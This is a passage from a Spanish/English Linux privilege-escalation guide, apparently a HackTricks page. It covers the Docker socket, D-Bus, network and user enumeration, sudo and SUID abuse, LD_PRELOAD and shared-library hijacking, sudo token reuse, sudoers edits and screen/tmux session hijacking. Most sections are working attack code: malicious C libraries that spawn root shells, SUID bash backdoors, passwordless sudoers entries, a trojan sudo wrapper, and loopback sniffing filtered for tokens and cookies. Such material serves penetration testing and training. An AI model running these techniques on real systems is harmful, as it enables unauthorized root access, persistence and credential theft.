curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Inicia el contenedor recién creado:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: Usa socat para establecer una conexión con el contenedor, permitiendo la ejecución de comandos dentro de él.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Después de establecer la conexión con socat, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host.

Otros

Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás inside the group docker tienes more ways to escalate privileges. Si la docker API is listening in a port you can also be able to compromise it.

Check more ways to break out from containers or abuse container runtimes to escalate privileges in:

Container Security

Containerd (ctr) privilege escalation

Si descubres que puedes usar el comando ctr, lee la siguiente página ya que you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

Si puedes usar el comando runc, lee la siguiente página ya que you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus es un sofisticado inter-Process Communication (IPC) system que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado pensando en los sistemas Linux modernos, ofrece un marco robusto para distintas formas de comunicación entre aplicaciones.

El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a enhanced UNIX domain sockets. Además, facilita la difusión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de remote objects, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, racionalizando procesos que tradicionalmente eran complejos.

D-Bus opera con un allow/deny model, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) en función del efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican las interacciones con el bus, y potencialmente pueden permitir privilege escalation mediante la explotación de dichos permisos.

Se proporciona un ejemplo de tal política en /etc/dbus-1/system.d/wpa_supplicant.conf, detallando los permisos para el usuario root de poseer, enviar y recibir mensajes de fi.w1.wpa_supplicant1.

Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas de contexto “default” se aplican a todos los que no estén cubiertos por otras políticas específicas.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Aprende cómo enumerate y exploit una comunicación D-Bus aquí:

D-Bus Enumeration & Command Injection Privilege Escalation

Red

Siempre es interesante enumerate la red y averiguar la posición de la máquina.

Generic enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)

#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1

#L2 neighbours
(arp -e || arp -a || ip neigh)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null

#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null

#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20

#Files used by network services
lsof -i

Clasificación rápida del filtrado saliente

Si el host puede ejecutar comandos pero los callbacks fallan, separa rápidamente el filtrado DNS, de transporte, proxy y de rutas:

# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A

# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done

# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true

# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me

Puertos abiertos

Siempre comprueba los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u

Classify listeners by bind target:

  • 0.0.0.0 / [::]: expuesto en todas las interfaces locales.
  • 127.0.0.1 / ::1: local-only (buenos candidatos para tunnel/forward).
  • Specific internal IPs (e.g. 10.x, 172.16/12, 192.168.x, fe80::): normalmente accesibles solo desde segmentos internos.

Flujo de triage para servicios local-only

Cuando comprometes un host, los servicios vinculados a 127.0.0.1 a menudo se vuelven accesibles por primera vez desde tu shell. Un flujo de trabajo local rápido es:

# 1) Find local listeners
ss -tulnp

# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1

# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1

# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>

LinPEAS como escáner de red (modo solo de red)

Además de los PE checks locales, linPEAS puede ejecutarse como un escáner de red enfocado. Utiliza binarios disponibles en $PATH (típicamente fping, ping, nc, ncat) y no instala herramientas.

# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t

# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24

# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443

# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20

# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443

Si pasas -d, -p, o -i sin -t, linPEAS se comporta como un puro network scanner (saltándose el resto de los privilege-escalation checks).

Sniffing

Comprueba si puedes sniff traffic. Si puedes, podrías obtener algunas credentials.

timeout 1 tcpdump

Comprobaciones prácticas rápidas:

#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"

#Find capture interfaces
tcpdump -D
ip -br addr

Loopback (lo) es especialmente valiosa en post-exploitation porque muchos servicios internos exponen tokens/cookies/credentials allí:

sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'

Capturar ahora, analizar después:

sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri

Usuarios

Enumeración genérica

Comprueba who eres, qué privileges tienes, qué users hay en los sistemas, cuáles pueden login y cuáles tienen root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

UID grande

Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con UID > INT_MAX escalar privilegios. Más info: here, here and here.
Explótalo usando: systemd-run -t /bin/bash

Grupos

Comprueba si eres miembro de algún grupo que podría concederte privilegios root:

Interesting Groups - Linux Privesc

Portapapeles

Comprueba si hay algo interesante en el portapapeles (si es posible)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Política de contraseñas

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Contraseñas conocidas

Si conoces alguna contraseña del entorno intenta iniciar sesión como cada usuario usando la contraseña.

Su Brute

Si no te importa hacer mucho ruido y los binarios su y timeout están presentes en el equipo, puedes intentar hacer brute-force a usuarios usando su-bruteforce.
Linpeas con el parámetro -a también intenta brute-force a usuarios.

Abusos cuando $PATH es escribible

$PATH

Si encuentras que puedes escribir dentro de alguna carpeta del $PATH podrías ser capaz de escalar privilegios creando un backdoor dentro de la carpeta escribible con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que no se cargue desde una carpeta que esté ubicada antes de tu carpeta escribible en $PATH.

SUDO y SUID

Podrías tener permiso para ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Algunos comandos inesperados te permiten leer y/o escribir archivos o incluso ejecutar un comando. Por ejemplo:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

La configuración de Sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

En este ejemplo, el usuario demo puede ejecutar vim como root; ahora es trivial obtener una shell añadiendo una clave ssh en el directorio root o llamando a sh.

sudo vim -c '!sh'

SETENV

Esta directiva permite al usuario establecer una variable de entorno mientras ejecuta algo:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Este ejemplo, basado en la máquina HTB Admirer, era vulnerable a PYTHONPATH hijacking para cargar una biblioteca de Python arbitraria al ejecutar el script como root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV preservado vía sudo env_keep → root shell

Si sudoers preserva BASH_ENV (p. ej., Defaults env_keep+="ENV BASH_ENV"), puedes aprovechar el comportamiento de arranque no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido.

  • Por qué funciona: Para shells no interactivos, Bash evalúa $BASH_ENV y hace source de ese archivo antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. Si BASH_ENV se preserva por sudo, tu archivo se sourcea con privilegios de root.

  • Requisitos:

  • Una regla de sudo que puedas ejecutar (cualquier objetivo que invoque /bin/bash de forma no interactiva, o cualquier bash script).

  • BASH_ENV presente en env_keep (compruébalo con sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Endurecimiento:
  • Eliminar BASH_ENV (y ENV) de env_keep; preferir env_reset.
  • Evitar wrappers de shell para comandos permitidos por sudo; usar binarios mínimos.
  • Considerar registro I/O de sudo y alertas cuando se usen variables de entorno preservadas.

Terraform via sudo con HOME preservado (!env_reset)

Si sudo deja el entorno intacto (!env_reset) mientras permite terraform apply, $HOME permanece como el usuario que llamó. Terraform por tanto carga $HOME/.terraformrc como root y respeta provider_installation.dev_overrides.

  • Apuntar el provider requerido a un directorio escribible y colocar un plugin malicioso con el nombre del provider (p. ej., terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform fallará en el Go plugin handshake pero ejecuta el payload como root antes de terminar, dejando un shell SUID.

Las variables de Terraform se pueden proporcionar mediante variables de entorno TF_VAR_<name>, las cuales sobreviven cuando sudo preserva el entorno. Validaciones débiles como strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") pueden ser eludidas con symlinks:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform resuelve el symlink y copia el archivo real /root/root.txt en un destino legible por el atacante. El mismo enfoque puede usarse para escribir en rutas privilegiadas creando previamente symlinks de destino (por ejemplo, apuntando la ruta de destino del provider dentro de /etc/cron.d/).

requiretty / !requiretty

En algunas distribuciones antiguas, sudo puede configurarse con requiretty, lo que obliga a que sudo se ejecute solo desde un TTY interactivo. Si !requiretty está establecido (o la opción está ausente), sudo puede ejecutarse desde contextos no interactivos como reverse shells, cron jobs o scripts.

Defaults !requiretty

Esto no es una vulnerabilidad directa por sí misma, pero amplía las situaciones en las que las reglas sudo pueden ser abusadas sin necesitar un PTY completo.

Sudo env_keep+=PATH / secure_path inseguro → PATH hijack

Si sudo -l muestra env_keep+=PATH o un secure_path que contiene entradas escribibles por un atacante (p. ej., /home/<user>/bin), cualquier comando relativo dentro del objetivo permitido por sudo puede ser sobrescrito.

  • Requisitos: una regla sudo (a menudo NOPASSWD) que ejecute un script/binario que llame a comandos sin rutas absolutas (free, df, ps, etc.) y una entrada en PATH escribible que se busque primero.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Evasión de rutas de ejecución de Sudo

Saltar para leer otros archivos o usar symlinks. Por ejemplo, en el archivo sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Si se usa un wildcard (*), es aún más fácil:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contramedidas: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Comando sudo/binario SUID sin ruta del comando

Si la sudo permission se concede a un solo comando sin especificar la ruta: hacker10 ALL= (root) less, puedes explotarlo cambiando la variable PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Esta técnica también puede usarse si un binario suid ejecuta otro comando sin especificar la ruta al mismo (siempre comprobar con strings el contenido de un binario SUID extraño)).

Payload examples to execute.

Binario SUID con ruta del comando

Si el binario suid ejecuta otro comando especificando la ruta, entonces puedes intentar exportar una función con el nombre del comando que el archivo suid está llamando.

Por ejemplo, si un binario suid llama a /usr/sbin/service apache2 start tienes que intentar crear la función y exportarla:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Entonces, cuando llames al binario suid, se ejecutará esta función

Script escribible ejecutado por un wrapper SUID

Una misconfiguración común en aplicaciones personalizadas es un wrapper binario SUID propiedad de root que ejecuta un script, mientras que el script en sí es escribible por usuarios de bajo privilegio.

Patrón típico:

int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}

Si /usr/local/bin/backup.sh es escribible, puedes añadir comandos de payload y luego ejecutar el wrapper SUID:

echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p

Comprobaciones rápidas:

find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh

Esta vía de ataque es especialmente común en wrappers de “maintenance”/“backup” distribuidos en /usr/local/bin.

LD_PRELOAD & LD_LIBRARY_PATH

La variable de entorno LD_PRELOAD se usa para especificar una o más librerías compartidas (.so files) que serán cargadas por el loader antes que todas las demás, incluida la librería estándar C (libc.so). Este proceso se conoce como precarga de una librería.

Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables suid/sgid, el sistema aplica ciertas condiciones:

  • El loader ignora LD_PRELOAD para ejecutables donde el ID de usuario real (ruid) no coincide con el ID de usuario efectivo (euid).
  • Para ejecutables con suid/sgid, solo se precargan librerías en rutas estándar que también sean suid/sgid.

La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con sudo y la salida de sudo -l incluye la sentencia env_keep+=LD_PRELOAD. Esta configuración permite que la variable de entorno LD_PRELOAD persista y sea reconocida incluso cuando los comandos se ejecutan con sudo, lo que potencialmente puede llevar a la ejecución de código arbitrario con privilegios elevados.

Defaults        env_keep += LD_PRELOAD

Guardar como /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Luego, compílalo usando:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Finalmente, escalate privileges ejecutando

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Un privesc similar puede ser abusado si el atacante controla la LD_LIBRARY_PATH env variable porque controla la ruta donde se van a buscar las librerías.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Cuando encuentres un binario con permisos SUID que parezca inusual, es buena práctica verificar si está cargando correctamente archivos .so. Esto se puede comprobar ejecutando el siguiente comando:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Por ejemplo, encontrarse con un error como “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” sugiere una posible explotación.

Para explotarlo, se procedería creando un archivo C, por ejemplo “/path/to/.config/libcalc.c”, que contenga el siguiente código:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Este código, una vez compilado y ejecutado, tiene como objetivo elevate privileges manipulando los permisos de archivos y ejecutando un shell con elevated privileges.

Compila el archivo C anterior en un shared object (.so) con:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Finalmente, ejecutar el binario SUID afectado debería desencadenar el exploit, permitiendo una posible compromisión del sistema.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Ahora que hemos encontrado un SUID binary que carga una library desde una folder donde podemos escribir, creemos la library en esa folder con el nombre necesario:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Si obtienes un error como

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

eso significa que la biblioteca que has generado necesita tener una función llamada a_function_name.

GTFOBins

GTFOBins es una lista seleccionada de binarios Unix que pueden ser explotados por un atacante para evadir restricciones de seguridad locales. GTFOArgs es lo mismo pero para casos donde solo puedes inyectar argumentos en un comando.

El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-explotación.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

GTFOArgs: Argument Injection Exploitation Vector List | GTFOArgs is a curated list of Unix binaries whose arguments can be exploited for argument injection, enabling shell escapes, privilege escalation, file read/write, and other post-exploitation techniques.

FallOfSudo

Si puedes ejecutar sudo -l puedes usar la herramienta FallOfSudo para comprobar si encuentra cómo explotar alguna regla de sudo.

Reusing Sudo Tokens

En casos donde tienes sudo access pero no la contraseña, puedes escalar privilegios esperando a que se ejecute un comando sudo y luego secuestrar el token de sesión.

Requisitos para escalar privilegios:

  • Ya tienes una shell como usuario “sampleuser
  • sampleuser” ha usado sudo para ejecutar algo en los últimos 15 minutos (por defecto esa es la duración del token de sudo que nos permite usar sudo sin introducir ninguna contraseña)
  • cat /proc/sys/kernel/yama/ptrace_scope debe ser 0
  • gdb está accesible (puedes subirlo)

(Puedes habilitar temporalmente ptrace_scope con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope o modificando permanentemente /etc/sysctl.d/10-ptrace.conf y estableciendo kernel.yama.ptrace_scope = 0)

Si se cumplen todos estos requisitos, puedes escalar privilegios usando: https://github.com/nongiach/sudo_inject

  • El primer exploit (exploit.sh) creará el binario activate_sudo_token en /tmp. Puedes usarlo para activar el token de sudo en tu sesión (no obtendrás automáticamente una shell root, haz sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • El segundo exploit (exploit_v2.sh) creará una shell sh en /tmp propiedad de root con setuid
bash exploit_v2.sh
/tmp/sh -p
  • El tercer exploit (exploit_v3.sh) creará un sudoers file que hace que los sudo tokens sean eternos y permite que todos los usuarios usen sudo
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Si tienes write permissions en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario write_sudo_token para create a sudo token for a user and PID.
Por ejemplo, si puedes sobrescribir el archivo /var/run/sudo/ts/sampleuser y tienes un shell como ese usuario con PID 1234, puedes obtain sudo privileges sin necesidad de conocer la contraseña haciendo:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

El archivo /etc/sudoers y los archivos dentro de /etc/sudoers.d configuran quién puede usar sudo y cómo. Estos archivos por defecto solo pueden ser leídos por el usuario root y el grupo root.
Si puedes leer este archivo podrías ser capaz de obtener información interesante, y si puedes escribir cualquier archivo serás capaz de escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Si puedes escribir, puedes abusar de este permiso.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Otra forma de abusar de estos permisos:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Hay algunas alternativas al binario sudo, como doas en OpenBSD; recuerda comprobar su configuración en /etc/doas.conf.

permit nopass demo as root cmd vim

Sudo Hijacking

Si sabes que un usuario suele conectarse a una máquina y usa sudo para escalar privilegios y obtuviste una shell en ese contexto de usuario, puedes crear un nuevo ejecutable sudo que ejecutará tu código como root y luego el comando del usuario. Después, modifica el $PATH del contexto de usuario (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo.

Ten en cuenta que si el usuario usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Puedes encontrar otro ejemplo en bashdoor.py

O ejecutando algo como:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Biblioteca compartida

ld.so

El archivo /etc/ld.so.conf indica de dónde provienen los archivos de configuración cargados. Típicamente, este archivo contiene la siguiente ruta: include /etc/ld.so.conf.d/*.conf

Eso significa que se leerán los archivos de configuración de /etc/ld.so.conf.d/*.conf. Estos archivos de configuración apuntan a otras carpetas donde se van a buscar las bibliotecas. Por ejemplo, el contenido de /etc/ld.so.conf.d/libc.conf es /usr/local/lib. Esto significa que el sistema buscará bibliotecas dentro de /usr/local/lib.

Si por alguna razón un usuario tiene permisos de escritura en cualquiera de las rutas indicadas: /etc/ld.so.conf, /etc/ld.so.conf.d/, cualquier archivo dentro de /etc/ld.so.conf.d/ o cualquier carpeta dentro del archivo de configuración en /etc/ld.so.conf.d/*.conf podría ser capaz de escalate privileges.
Consulta how to exploit this misconfiguration en la siguiente página:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Al copiar la lib en /var/tmp/flag15/, será usada por el programa en ese lugar según lo especificado en la variable RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

A continuación, crea una biblioteca maliciosa en /var/tmp con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacidades

Las capacidades de Linux proporcionan un subconjunto de los privilegios root disponibles para un proceso. Esto divide efectivamente los privilegios root en unidades más pequeñas y distintivas. Cada una de estas unidades puede entonces otorgarse de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.
Lee la siguiente página para aprender más sobre capacidades y cómo abusar de ellas:

Linux Capabilities

Permisos de directorio

En un directorio, el bit de “execute” implica que el usuario afectado puede “cd” dentro de la carpeta.
El bit de “read” implica que el usuario puede listar los archivos, y el bit de “write” implica que el usuario puede eliminar y crear nuevos archivos.

ACLs

Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de anular los permisos tradicionales ugo/rwx. Estos permisos mejoran el control sobre el acceso a un archivo o directorio al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de granularidad asegura una gestión de acceso más precisa. Más detalles pueden encontrarse here.

Dar al usuario “kali” permisos de lectura y escritura sobre un archivo:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Obtener archivos con ACLs específicas del sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

ACL backdoor oculto en los drop-ins de sudoers

Una configuración incorrecta común es un archivo propiedad de root en /etc/sudoers.d/ con modo 440 que aún concede acceso de escritura a un usuario con pocos privilegios mediante ACL.

ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>

Si ves algo como user:alice:rw-, el usuario puede añadir una regla de sudo a pesar de los bits de modo restrictivos:

echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l

Esta es una ruta de alto impacto de ACL persistence/privesc porque es fácil pasarla por alto en revisiones únicamente con ls -l-only reviews.

Sesiones de shell abiertas

En versiones antiguas puedes hijack alguna sesión de shell de otro usuario (root).
En versiones más recientes podrás connect a sesiones de screen solo de tu propio usuario. Sin embargo, podrías encontrar información interesante dentro de la sesión.

Hijacking de sesiones de screen

Listar sesiones de screen

screen -ls
screen -ls <username>/ # Show another user' screen sessions

# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null

Adjuntar a una sesión

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Esto fue un problema con old tmux versions. No pude hijack una sesión de tmux (v2.1) creada por root como usuario no privilegiado.

Listar sesiones de tmux

tmux ls
